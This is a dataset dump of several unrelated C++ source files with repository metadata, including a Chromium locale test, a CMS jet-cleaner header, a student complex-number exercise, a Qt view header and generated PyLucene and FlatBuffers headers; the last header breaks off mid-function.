// never happens again on messages where this matter.
TEST_F(ResourcesTest, CriticalMessagesContainNoExtraWhitespaces) {
// Array of messages that should never contain extra whitespaces.
const int messages_to_check[] = {IDS_APP_SHORTCUTS_SUBDIR_NAME};
base::FilePath locales_dir;
ASSERT_TRUE(PathService::Get(ui::DIR_LOCALES, &locales_dir));
// Enumerate through the existing locale (.pak) files.
base::FileEnumerator file_enumerator(locales_dir, false,
base::FileEnumerator::FILES,
FILE_PATH_LITERAL("*.pak"));
for (base::FilePath locale_file_path = file_enumerator.Next();
!locale_file_path.empty(); locale_file_path = file_enumerator.Next()) {
// Load the current locale file.
ui::ResourceBundle::GetSharedInstance().OverrideLocalePakForTest(
locale_file_path);
ui::ResourceBundle::GetSharedInstance().ReloadLocaleResources("");
for (int message : messages_to_check) {
base::string16 message_str = l10n_util::GetStringUTF16(message);
EXPECT_EQ(message_str, base::TrimWhitespace(message_str, base::TRIM_ALL));
}
}
}
| [
"jacob-chen@iotwrt.com"
] | jacob-chen@iotwrt.com |
c8e9b429893af39c96e250b0056664d630135f10 | 19331eb82aa4be2f3e9235729a065768e50ed993 | /HiggsAnalysis/VBFHiggsToVV/plugins/VBFJetCleaner.h | d01dd017de6c7c5adbeb1f3e2491b45e3c4157d9 | [] | no_license | abenagli/UserCode | 23e86263bed60e430e1a1ae99b7863d8aae536ca | d3f84a6931285370638fd07e0ad00421238eb55e | refs/heads/master | 2016-09-06T05:08:03.652710 | 2013-06-13T21:34:29 | 2013-06-13T21:34:29 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,650 | h | #ifndef VBFJetCleaner_h
#define VBFJetCleaner_h
#include "FWCore/Framework/interface/Frameworkfwd.h"
#include "FWCore/Framework/interface/EDProducer.h"
#include "FWCore/Framework/interface/Event.h"
#include "FWCore/Framework/interface/MakerMacros.h"
#include "FWCore/ParameterSet/interface/ParameterSet.h"
#include "DataFormats/JetReco/interface/CaloJet.h"
#include "DataFormats/JetReco/interface/CaloJetCollection.h"
#include "DataFormats/JetReco/interface/PFJet.h"
#include "DataFormats/JetReco/interface/PFJetCollection.h"
#include "DataFormats/EgammaCandidates/interface/GsfElectron.h"
#include "DataFormats/EgammaCandidates/interface/GsfElectronFwd.h"
#include "DataFormats/MuonReco/interface/Muon.h"
#include "DataFormats/MuonReco/interface/MuonFwd.h"
#include "DataFormats/Math/interface/deltaR.h"
#include <iostream>
#include <Math/VectorUtil.h>
template <class TCollection>
class VBFJetCleaner
{
public:
typedef reco::GsfElectronCollection electronCollection;
typedef reco::GsfElectronRef electron;
typedef reco::MuonCollection muonCollection;
typedef reco::MuonRef muon;
typedef TCollection collection;
typedef edm::Ref<collection> jet;
typedef edm::RefVector<collection> container;
typedef typename edm::RefVector<collection>::const_iterator const_iterator;
public:
//! ctor
VBFJetCleaner(const edm::ParameterSet& conf);
//! dtor
~VBFJetCleaner();
//! iterator to the begin of the selected collection
const_iterator begin() const { return m_selected.begin(); }
//! iterator to the end of the selected collection
const_iterator end () const { return m_selected.end(); }
//! the actual selector method
void select (edm::Handle<collection>, const edm::Event&, const edm::EventSetup&);
private:
container m_selected;
edm::InputTag m_srcElectronsRef;
edm::InputTag m_srcMuonsRef;
double m_maxDeltaR;
bool m_doJetRefCheck;
edm::InputTag m_srcJetsRef;
};
template <class TCollection>
VBFJetCleaner<TCollection>::VBFJetCleaner(const edm::ParameterSet& iConfig):
m_srcElectronsRef(iConfig.getParameter<edm::InputTag>("srcElectronsRef")),
m_srcMuonsRef (iConfig.getParameter<edm::InputTag>("srcMuonsRef")),
m_maxDeltaR (iConfig.getParameter<double>("maxDeltaR")),
m_doJetRefCheck (iConfig.getParameter<bool>("doJetRefCheck")),
m_srcJetsRef (iConfig.getParameter<edm::InputTag>("srcJetsRef"))
{}
// ----------------------------------------------------------------------------
template <class TCollection>
VBFJetCleaner<TCollection>::~VBFJetCleaner()
{}
// ----------------------------------------------------------------------------
template <class TCollection>
void VBFJetCleaner<TCollection>::select(edm::Handle<VBFJetCleaner<TCollection>::collection> jets,
const edm::Event& iEvent,
const edm::EventSetup& iSetup)
{
m_selected.clear ();
//Get the collections
edm::Handle< edm::RefVector<electronCollection> > electronsRef;
iEvent.getByLabel(m_srcElectronsRef, electronsRef);
edm::Handle< edm::RefVector<muonCollection> > muonsRef;
iEvent.getByLabel(m_srcMuonsRef, muonsRef);
edm::Handle< edm::RefVector<collection> > jetsRef;
if(m_doJetRefCheck)
iEvent.getByLabel(m_srcJetsRef, jetsRef);
// loop over jets
for(unsigned int j = 0; j < jets -> size(); ++j)
{
// do the reference check
bool isJetRefCheckOk = true;
jet jetRef(jets, j);
if(m_doJetRefCheck)
if(find(jetsRef -> begin(), jetsRef -> end(), jetRef) == jetsRef -> end())
isJetRefCheckOk = false;
if(!isJetRefCheckOk) continue;
int counter = 0;
// loop over electrons
for(unsigned int i = 0; i < electronsRef -> size(); ++i)
{
electron electronRef = electronsRef->at(i);
double dR = deltaR(electronRef->eta(), electronRef->phi(),
jetRef->eta(), jetRef->phi());
if(dR < m_maxDeltaR)
++counter;
} // loop over electrons
// loop over muons
for(unsigned int i = 0; i < muonsRef -> size(); ++i)
{
muon muonRef = muonsRef->at(i);
double dR = deltaR(muonRef->eta(), muonRef->phi(),
jetRef->eta(), jetRef->phi());
if(dR < m_maxDeltaR)
++counter;
} // loop over muons
if(counter)
continue;
m_selected.push_back(jetRef);
} // loop over jets
}
// ----------------------------------------------------------------------------
#endif
| [
""
] | |
efeff7b99834e747b16c33eb09287a6a32e1ec98 | a609c69fe0841a47751ed568d822334534ba7c35 | /Lab2_Complex-Destructor&constructor/complex.cpp | 3462d7e773ca64576d7fe164a113b33090418f06 | [] | no_license | hananabilabd/OOP_Labs | 88a9f08bcbedc4e6d02af4bccac7beb6a31e52c6 | 27aa5529887d209f1047272f02b0a991b0a8163f | refs/heads/master | 2020-04-04T17:06:48.382538 | 2019-07-02T13:24:43 | 2019-07-02T13:24:43 | 156,107,316 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,130 | cpp | #include <iostream>
using namespace std;
class Complex{ // default of class is private
private:
float real ;
float imag ;
public :
void setReal (float);
void setImag (float);
float getReal(void) ;
float getImag (void);
void print(void);
void setComplex (int r , int i);
void setComplex (int v);
~Complex();
Complex(int r , int i );
Complex (int v);
Complex (){
real = 0;
imag =0;
cout<<" The Object Constructor with 0 Parameters"<<endl;
}
};
void Complex :: setReal (float i){
imag =i ;
}
void Complex :: setImag(float i){
real = i ;
}
float Complex :: getReal (){
return real;
}
float Complex :: getImag(){
return imag;
}
void Complex :: print (void){
if (imag > 0){
cout<< "Complex Number ="<<real <<"+" <<imag <<"i"<<endl;}
else {cout<< "Complex Number ="<<real <<imag <<"i"<<endl;}
}
void Complex ::setComplex(int r , int i){
real = r ;
imag = i;
}
void Complex ::setComplex(int v ){
imag =real =v ;
}
Complex::~Complex(){
cout<<" The Object Destructor"<<endl;
}
Complex ::Complex(int r , int i){
real =r ;
imag = i ;
cout<<" The Object Constructor with 2 Parameters"<<endl;
}
Complex ::Complex (int v){
real=imag = v;
cout<<" The Object Constructor With one Parameter"<<endl;
}
Complex add (Complex a,Complex b){
Complex result ;
float x;
x=a.getReal()+b.getReal();
result.setReal(x);
x=a.getImag()+b.getImag();
result.setImag(x);
cout<<"///////////////"<<endl;
return result ;
}
Complex subtract (Complex a,Complex b){
Complex result ;
float x;
x=a.getReal()-b.getReal();
result.setReal(x);
x=a.getImag()-b.getImag();
result.setImag(x);
return result ;
}
int main (){
Complex c1 ,c2 , result1 ,result2 ;
float a ,b ,c ,d ;
cout<<"Enter First Complex Real & Imaginary=" <<endl;
cin>>a>>b;
cout<<"Enter Second Complex Real & Imaginary=" <<endl;
cin>>c>>d;
c1.setReal(a);
c1.setImag(b);
c2.setReal(c);
c2.setImag(d);
result1 =add(c1,c2);
result2 =subtract(c1,c2);
cout<<"Result of Addition=";
result1.print();
cout<<"Result of Subtraction=";
result2.print();
}
| [
"hananabil@live.com"
] | hananabil@live.com |
15aa2b6b3ced7782a90e34c0beec0d0843070b46 | 05e3446895f5fdcd0895b6c883d10ef3e1779791 | /src/scene/graphicsview.h | 255c704a6304f4e438093ca5a687ea9f27bf78d7 | [] | no_license | narrowtux/Gatter | 232c1d9ce328c41e707d87c9ba5be04b357315f2 | eb8c523dc740ab61a0fe6ede9adb46192d5a5922 | refs/heads/master | 2020-06-07T02:39:29.490466 | 2011-07-25T17:46:20 | 2011-07-25T17:46:20 | 1,458,683 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 763 | h | #ifndef GRAPHICSVIEW_H
#define GRAPHICSVIEW_H
#include <QGraphicsView>
#include <QGesture>
#include <QGestureEvent>
#include "src/elements/subscene.h"
class MainWindow;
class GraphicsView : public QGraphicsView
{
Q_OBJECT
public:
explicit GraphicsView(QWidget *parent = 0);
void setScale(qreal scale);
qreal scaleFactor();
MainWindow *mainWindow();
void setMainWindow(MainWindow *mainWindow);
void setScene(QGraphicsScene *scene, bool notifyMainWindow = false, SubScene *subscene = 0);
signals:
void scaleFactorChanged(int);
public slots:
private:
bool event(QEvent *event);
bool gestureEvent(QGestureEvent* event);
qreal myScaleFactor;
qreal currentStepScaleFactor;
MainWindow *myMainWindow;
};
#endif // GRAPHICSVIEW_H
| [
"narrow.m@gmail.com"
] | narrow.m@gmail.com |
7ef25e2cefb8df9cec275377166208943582b6b9 | d9975b97e09ae5f5225c04fac385746d44a6a374 | /pylucene-4.9.0-0/build/_lucene/org/apache/lucene/facet/taxonomy/directory/DirectoryTaxonomyReader.h | 98cc0053ed762c656774cc9ed969dd17b6a743b0 | [
"Apache-2.0"
] | permissive | Narabzad/elr_files | 20038214ef0c4f459b0dccba5df0f481183fd83a | 3e623c7d9c98a7d6e5b26e6e4a73f46ff5352614 | refs/heads/master | 2020-06-04T02:01:17.028827 | 2019-06-28T21:55:30 | 2019-06-28T21:55:30 | 191,825,485 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,635 | h | #ifndef org_apache_lucene_facet_taxonomy_directory_DirectoryTaxonomyReader_H
#define org_apache_lucene_facet_taxonomy_directory_DirectoryTaxonomyReader_H
#include "org/apache/lucene/facet/taxonomy/TaxonomyReader.h"
namespace org {
namespace apache {
namespace lucene {
namespace facet {
namespace taxonomy {
namespace directory {
class DirectoryTaxonomyWriter;
}
class ParallelTaxonomyArrays;
class FacetLabel;
}
}
namespace store {
class Directory;
}
}
}
}
namespace java {
namespace lang {
class Class;
class String;
}
namespace util {
class Map;
}
namespace io {
class IOException;
}
}
template<class T> class JArray;
namespace org {
namespace apache {
namespace lucene {
namespace facet {
namespace taxonomy {
namespace directory {
class DirectoryTaxonomyReader : public ::org::apache::lucene::facet::taxonomy::TaxonomyReader {
public:
enum {
mid_init$_49dc27eb,
mid_init$_2e261ef2,
mid_getCommitUserData_db60befd,
mid_getOrdinal_283f83f5,
mid_getParallelTaxonomyArrays_306e748e,
mid_getPath_38cf071d,
mid_getSize_54c6a179,
mid_setCacheSize_39c7bd3c,
mid_toString_141401b3,
mid_doClose_54c6a166,
mid_doOpenIfChanged_57c99022,
mid_openIndexReader_109b8ac7,
mid_openIndexReader_880937e0,
max_mid
};
static ::java::lang::Class *class$;
static jmethodID *mids$;
static bool live$;
static jclass initializeClass(bool);
explicit DirectoryTaxonomyReader(jobject obj) : ::org::apache::lucene::facet::taxonomy::TaxonomyReader(obj) {
if (obj != NULL)
env->getClass(initializeClass);
}
DirectoryTaxonomyReader(const DirectoryTaxonomyReader& obj) : ::org::apache::lucene::facet::taxonomy::TaxonomyReader(obj) {}
DirectoryTaxonomyReader(const ::org::apache::lucene::facet::taxonomy::directory::DirectoryTaxonomyWriter &);
DirectoryTaxonomyReader(const ::org::apache::lucene::store::Directory &);
::java::util::Map getCommitUserData() const;
jint getOrdinal(const ::org::apache::lucene::facet::taxonomy::FacetLabel &) const;
::org::apache::lucene::facet::taxonomy::ParallelTaxonomyArrays getParallelTaxonomyArrays() const;
::org::apache::lucene::facet::taxonomy::FacetLabel getPath(jint) const;
jint getSize() const;
void setCacheSize(jint) const;
::java::lang::String toString(jint) const;
};
}
}
}
}
}
}
#include <Python.h>
namespace org {
namespace apache {
namespace lucene {
namespace facet {
namespace taxonomy {
namespace directory {
extern PyTypeObject PY_TYPE(DirectoryTaxonomyReader);
class t_DirectoryTaxonomyReader {
public:
PyObject_HEAD
DirectoryTaxonomyReader object;
static PyObject *wrap_Object(const DirectoryTaxonomyReader&);
static PyObject *wrap_jobject(const jobject&);
static void install(PyObject *module);
static void initialize(PyObject *module);
};
}
}
}
}
}
}
#endif
| [
"43349991+Narabzad@users.noreply.github.com"
] | 43349991+Narabzad@users.noreply.github.com |
c2dc22ea92d426643c72a8d932337ebaa31dd28d | fd863a758df5e839b3b20c6aad8258bc3167fbee | /structure.cpp | 81a951a820d839bf1418828bb0556c0f51bb7dc6 | [] | no_license | rishabhKush/cpp | 9fb10ef069af2de8bcaa11f6ca3057ea2d685687 | 6ad8368bf3832c7fd5c5a85015bb85f689e0e569 | refs/heads/master | 2020-06-12T19:50:35.011538 | 2019-11-13T04:59:36 | 2019-11-13T04:59:36 | 194,407,232 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,429 | cpp | /**
* I aggree with those who think that, the code could be writen in a better way than this.
*/
#include <iostream>
#include <string.h>
using namespace std;
struct book
{
int bookid;
char title[40];
float price;
};
book input();
void display(book);
int main(){
/** intitialsation during declaration */
book b1 = {1,"cpp by Rishabh Kushwaha",299.0};
/** Intialisation after declaration */
book b2;
b2.bookid = 2;
b2.price = 600.0;
/** this way of initialzation of a string to a char type is wrong ,instead we use strcpy when assigning
sring to char type */
//b2.title = "c by Rishabh Kushwaha";
strcpy(b2.title,"c by Rishabh Kushwaha");
/** assigning whole book variable to another */
book b3;
b3=b2;
//uncomment to see output
// cout<< b3.bookid << endl;
// cout<< b3.price << endl;
// cout << b3.title <<endl;
book b6 = input();
display(b6);
return 0;
}
book input(){
book b4;
cout<< "Enter bookid ,title ,book price" << endl;
cin>> b4.bookid ;
cin >> b4.title ;
cin >> b4.price ;
/** More than 1 value can't be returned ,but sincce we used b4 (of type book) which contains multiple input values
* it is seen as 1 value by return
*/
return(b4);
}
void display(book b5){
cout << b5.bookid << " " << b5.title << " " << b5.price << endl;
} | [
"drishabh898@gmail.com"
] | drishabh898@gmail.com |
e88248b0e0d1dd187f50279bdc51878aef74560a | 47a28ad32dd8cd714528f26ce4082499b8bf5131 | /Day_05/ex00/includes/Bureaucrat.hpp | d8b262df362254f11f0050a2c6542fa282e9c703 | [] | no_license | akulaiev/CPP_pool | cb5c942506967c8a0bb388aa61be6d3ac484abca | b7596a7f8e86cea72c3fe852e0ef2a51a6ab54cd | refs/heads/master | 2020-05-04T02:11:51.421311 | 2019-05-09T09:34:13 | 2019-05-09T09:34:13 | 178,921,923 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,184 | hpp |
#ifndef BUREAUCRAT_HPP
# define BUREAUCRAT_HPP
#include <iostream>
class Bureaucrat
{
public:
Bureaucrat (void);
Bureaucrat (Bureaucrat const & inst);
Bureaucrat (std::string name, int dgrade);
~Bureaucrat (void);
Bureaucrat & operator=(Bureaucrat const & inst);
std::string getName() const;
int getGrade() const;
void grade_increment(void);
void grade_decrement(void);
class GradeTooHighException : public std::exception
{
public:
GradeTooHighException (void);
GradeTooHighException (GradeTooHighException const & inst);
virtual ~GradeTooHighException() throw();
GradeTooHighException & operator=(GradeTooHighException
const & inst);
virtual const char * what() const throw();
};
class GradeTooLowException : public std::exception
{
public:
GradeTooLowException (void);
GradeTooLowException (GradeTooLowException const & inst);
virtual ~GradeTooLowException() throw();
GradeTooLowException & operator=(GradeTooLowException
const & inst);
virtual const char * what() const throw();
};
private:
std::string const _name;
int _grade;
};
std::ostream & operator<<(std::ostream & os,
Bureaucrat & inst);
#endif
| [
"akulaiev@e2r8p2.unit.ua"
] | akulaiev@e2r8p2.unit.ua |
5b3c41d1d68bd9bacc38501faa694ca94fab7036 | c2e49db1315323daeb8bd96335058afc10fa2d0d | /Ващук Олександр/Chapter 5/5.3.13.2 Singly linked list part 2/main (78).cpp | fc8fb1b217fde83a4b98290201ea5f2ae81d75ea | [] | no_license | CyberSecurity-hackk/103-CyberSec | df1939d8dca024f2f9c559d04f9d175dab781960 | 3643365084d274e9ac2ea38560b7e0e3a055fa6b | refs/heads/main | 2023-02-04T03:54:37.039106 | 2020-12-26T07:16:11 | 2020-12-26T07:16:11 | 308,091,391 | 0 | 0 | null | 2020-10-28T17:52:27 | 2020-10-28T17:25:45 | null | UTF-8 | C++ | false | false | 1,181 | cpp | #include <iostream>
using namespace std;
class Node
{
public:
Node(int val);
int value;
~Node();
Node* next;
};
Node::Node(int val) : value(val), next(nullptr)
{
cout << "+Node" << endl;
}
Node::~Node()
{
cout << "-Node" << endl;
}
class List
{
public:
List();
~List();
void push_front(int value);
bool pop_front(int value);
private:
Node* head;
};
List::List() : head(nullptr) { }
List::~List() {
Node *t = head, *next;
while (t != nullptr)
{
next = t->next;
delete t;
t = next;
}
}
void List::push_front(int value)
{
Node* new_head = new Node(value);
new_head->next = head;
head = new_head;
}
bool List::pop_front(int value)
{
Node *t = head, *prev = nullptr;
while (t != nullptr) {
if (t->value == value) {
if (prev == nullptr) {
prev = head;
head = head->next;
delete prev;
}
else
{
prev->next = t->next;
delete t;
}
return true;
}
else
{
prev = t;
t = t->next;
}
}
return false;
}
int main()
{
List list;
list.push_front(1);
list.push_front(2);
list.push_front(3);
list.push_front(4);
return 0;
}
| [
"noreply@github.com"
] | noreply@github.com |
a935a960e5fa686f00af27a852c469250c40502a | c4c81322ff44aa6df853589e4637e3d98fc9a700 | /CAFFparser/CAFFparser/json_helper.cpp | a5c237b32bba2b3cf122ec275388a77ee9dc193d | [] | no_license | bargergo/SzamitogepBiztonsagHF | aa1886ac6894ceff442e8c013d8df3b7684effab | 119b30f7633196196efbbcb95561e4cd989ea472 | refs/heads/master | 2023-01-20T13:30:04.624274 | 2020-11-29T21:33:09 | 2020-11-29T21:33:09 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 194 | cpp | #include "json_helper.h"
namespace CAFFparser
{
string WriteWithTabs(int tab, string line)
{
string tabs;
for (int i = 0; i < tab; ++i)
tabs += '\t';
return tabs + line + "\n";
}
} | [
"somorjai.balazs@danubisoft.hu"
] | somorjai.balazs@danubisoft.hu |
8e1709f40f3dea78ce998e67b6b3577cc030e6f2 | 2b0ff7f7529350a00a34de9050d3404be6d588a0 | /060_讀取檔案/28_test_Analyse_Data_讀檔拆字串並分類產生檔案/test_Analyse_DataDlg.cpp | 91ca9591690cd039203eb4db60cbf7ff3cc30f6a | [] | no_license | isliulin/jashliao_VC | 6b234b427469fb191884df2def0b47c4948b3187 | 5310f52b1276379b267acab4b609a9467f43d8cb | refs/heads/master | 2023-05-13T09:28:49.756293 | 2021-06-08T13:40:23 | 2021-06-08T13:40:23 | null | 0 | 0 | null | null | null | null | BIG5 | C++ | false | false | 7,320 | cpp | // test_Analyse_DataDlg.cpp : implementation file
//
#include "stdafx.h"
#include "test_Analyse_Data.h"
#include "test_Analyse_DataDlg.h"
#include <string.h>
#include <stdlib.h>
#include<fstream.h>
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
struct file_data
{
int intuid;
int intaction;
char chrip[50];
char chrfile_path[250];
int intstatus;
char chrStart_Date[50];
};
/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About
class CAboutDlg : public CDialog
{
public:
CAboutDlg();
// Dialog Data
//{{AFX_DATA(CAboutDlg)
enum { IDD = IDD_ABOUTBOX };
//}}AFX_DATA
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CAboutDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// Implementation
protected:
//{{AFX_MSG(CAboutDlg)
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
//{{AFX_DATA_INIT(CAboutDlg)
//}}AFX_DATA_INIT
}
void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAboutDlg)
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
//{{AFX_MSG_MAP(CAboutDlg)
// No message handlers
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CTest_Analyse_DataDlg dialog
CTest_Analyse_DataDlg::CTest_Analyse_DataDlg(CWnd* pParent /*=NULL*/)
: CDialog(CTest_Analyse_DataDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CTest_Analyse_DataDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
void CTest_Analyse_DataDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CTest_Analyse_DataDlg)
// NOTE: the ClassWizard will add DDX and DDV calls here
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CTest_Analyse_DataDlg, CDialog)
//{{AFX_MSG_MAP(CTest_Analyse_DataDlg)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CTest_Analyse_DataDlg message handlers
BOOL CTest_Analyse_DataDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// Add "About..." menu item to system menu.
// IDM_ABOUTBOX must be in the system command range.
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX < 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
CString strAboutMenu;
strAboutMenu.LoadString(IDS_ABOUTBOX);
if (!strAboutMenu.IsEmpty())
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
}
}
// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
// TODO: Add extra initialization here
return TRUE; // return TRUE unless you set the focus to a control
}
void CTest_Analyse_DataDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
{
CAboutDlg dlgAbout;
dlgAbout.DoModal();
}
else
{
CDialog::OnSysCommand(nID, lParam);
}
}
// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.
void CTest_Analyse_DataDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // device context for painting
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}
// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CTest_Analyse_DataDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
void CTest_Analyse_DataDlg::OnButton1()
{
// TODO: Add your control notification handler code here
fstream pf;
FILE *pf1;
int intFileNO=0;
char chrFileName[20];
CString StrFileName;
struct file_data fd;
char chrdata[500];
bool blnLen=false;
////////////////////////////////////
CString StrIP="";
CString StrBuf="";
char *chrInBuf;//建立暫存輸入資料指標
char *chrOutBuf;//建立暫存輸出分割資料指標
long lngLen=0;//建立長度暫存變數
long lngGetLen1=0;//提取資料長度
long lngGetLen2=0;//剩餘資料長度
CString m_strInData="";//主
CString strInData="";//m_strInData分身
CString strRemain="";//剩餘資料
char chrSeps[]=",";//建立分割符號
chrInBuf=new char('\0');//指標初始化
chrOutBuf=new char('\0');//指標初始化
//////////////////////////////01_start
pf.open("data.txt",ios::in);
int intCount=0;
while(!pf.eof())
//////////////////////////////01_end
{
///////////////////////////////////02_start
pf.getline(chrdata,500);
m_strInData=chrdata;
strInData=m_strInData;//取出原來資料
do
{
chrInBuf=strInData.GetBuffer(0);//賦予資料
lngLen=strlen(chrInBuf);
if(lngLen<= 0)//防堵最後一筆資料換行所造成誤判
{
blnLen=true;
break;
}
chrOutBuf=strtok(chrInBuf,chrSeps);//擷取的資料
intCount++;
switch(intCount)
{
case 1://uid
fd.intuid=atoi(chrOutBuf);
break;
case 2://action
fd.intaction=atoi(chrOutBuf);
break;
case 3://ip
strcpy(fd.chrip,chrOutBuf);
break;
case 4://file_path
strcpy(fd.chrfile_path,chrOutBuf);
break;
case 5://status
fd.intstatus=atoi(chrOutBuf);
break;
case 6://Start_Data
strcpy(fd.chrStart_Date,chrOutBuf);
break;
}
lngGetLen1=strlen(chrOutBuf);//提取資料長度
lngGetLen2=lngLen-lngGetLen1;//剩餘資料長度
if(intCount==1)
{
strRemain=m_strInData.Mid(lngGetLen1+1,lngGetLen2);//剩餘資料
}
else
{
if(lngGetLen2>0)
strRemain=strRemain.Mid(lngGetLen1+1,lngGetLen2);//剩餘資料
}
strInData=strRemain;
}while(intCount<6);
if(blnLen==true)//防堵最後一筆資料換行所造成誤判
{
if(intFileNO!=0)
fclose(pf1);
break;
}
intCount=0;
lngLen=0;//建立長度暫存變數
lngGetLen1=0;//提取資料長度
lngGetLen2=0;//剩餘資料長度
/////////////////////////////////02_end
////////////////////////////////03_start
StrBuf=fd.chrip;
if(StrIP!=StrBuf)
{
StrIP=StrBuf;
if(intFileNO!=0)
fclose(pf1);
intFileNO++;
itoa(intFileNO,chrFileName,10);
StrFileName=chrFileName;
StrFileName+=".txt";
pf1=fopen(StrFileName.GetBuffer(0),"w");
fprintf(pf1,"%s\n",fd.chrip);
fprintf(pf1,"%d\t%s\n",fd.intaction,fd.chrfile_path);
}
else
{
fprintf(pf1,"%d\t%s\n",fd.intaction,fd.chrfile_path);
}
////////////////////////////////03_end
}
pf.close();
MessageBox("OK");
}
| [
"jash.liao@gmail.com"
] | jash.liao@gmail.com |
a64d2764b7071cf4e24186113f6763da603ac499 | e51b25ffa788c2030fa6cda734f8b1d77a0bcfa4 | /week12/First group - solutions from exercise/task2.cpp | 3c2a9e71581147f6d77c9ac10be9bde01cc61d6b | [] | no_license | DarkoDanchev/sd-practicum-18-19 | bb54e6e5c6116066ff2454c7871ebd7701886c37 | 82445dc3fd56c722d2984c0b6140c0262cbecfdc | refs/heads/master | 2020-03-30T19:41:09.820533 | 2019-01-17T15:13:37 | 2019-01-17T15:13:37 | 151,553,429 | 3 | 3 | null | null | null | null | UTF-8 | C++ | false | false | 991 | cpp | #include <iostream>
#include <vector>
using namespace std;
int n, m;
vector<int> graph[1024];
bool used[1024] = { false };
void input()
{
cin >> n >> m;
for (int i = 0; i < m; i++)
{
int firstVertex, secondVertex;
cin >> firstVertex >> secondVertex;
graph[firstVertex - 1].push_back(secondVertex - 1);
graph[secondVertex - 1].push_back(firstVertex - 1);
}
}
void dfs(int i)
{
used[i] = true;
for (int j = 0; j < graph[i].size(); j++)
if (!used[graph[i][j]])
dfs(graph[i][j]);
}
bool checkComponents()
{
int components = 0;
for (int i = 0; i < n; i++)
{
if (!used[i])
{
dfs(i);
components++;
}
}
if (components == 1)
cout << "Connected graph" << endl;
else
cout << components << " connected components" << endl;
}
int main()
{
input();
checkComponents();
return 0;
}
/*
4 3
1 3
1 2
2 4
3 4
6 6
1 5
1 2
1 4
1 3
2 4
3 4
5 6
*/
| [
"vladimir.jivkov@gmail.com"
] | vladimir.jivkov@gmail.com |
e9cee0d8e5871539b2681e30b1a5697be7047db5 | e3b632ad3b18086043441c5c1e4d02e130b28f4b | /flatbuffers/include/schemas/post/new_comment_req_generated.h | bd48828bac47c8ea2e9e73a41215d04a666bf6c9 | [
"Apache-2.0"
] | permissive | bizhan/UDP-Server-With-Flatbuffers | 316e59786592dcfe15068465d8aa54ab189d5edc | 06a137cf5b779d96f7382211073083bd72fe7c38 | refs/heads/master | 2020-05-07T00:55:51.945542 | 2016-05-16T08:02:04 | 2016-05-16T08:02:04 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,817 | h | // automatically generated by the FlatBuffers compiler, do not modify
#ifndef FLATBUFFERS_GENERATED_NEWCOMMENTREQ_FBS_POST_H_
#define FLATBUFFERS_GENERATED_NEWCOMMENTREQ_FBS_POST_H_
#include "flatbuffers/flatbuffers.h"
namespace fbs {
struct Session;
struct GeneralResponse;
} // namespace fbs
namespace fbs {
namespace post {
struct NewCommentRequest;
struct NewCommentRequest FLATBUFFERS_FINAL_CLASS : private flatbuffers::Table {
const fbs::Session *session() const { return GetPointer<const fbs::Session *>(4); }
uint64_t post_id() const { return GetField<uint64_t>(6, 0); }
const flatbuffers::String *content() const { return GetPointer<const flatbuffers::String *>(8); }
bool Verify(flatbuffers::Verifier &verifier) const {
return VerifyTableStart(verifier) &&
VerifyField<flatbuffers::uoffset_t>(verifier, 4 /* session */) &&
verifier.VerifyTable(session()) &&
VerifyField<uint64_t>(verifier, 6 /* post_id */) &&
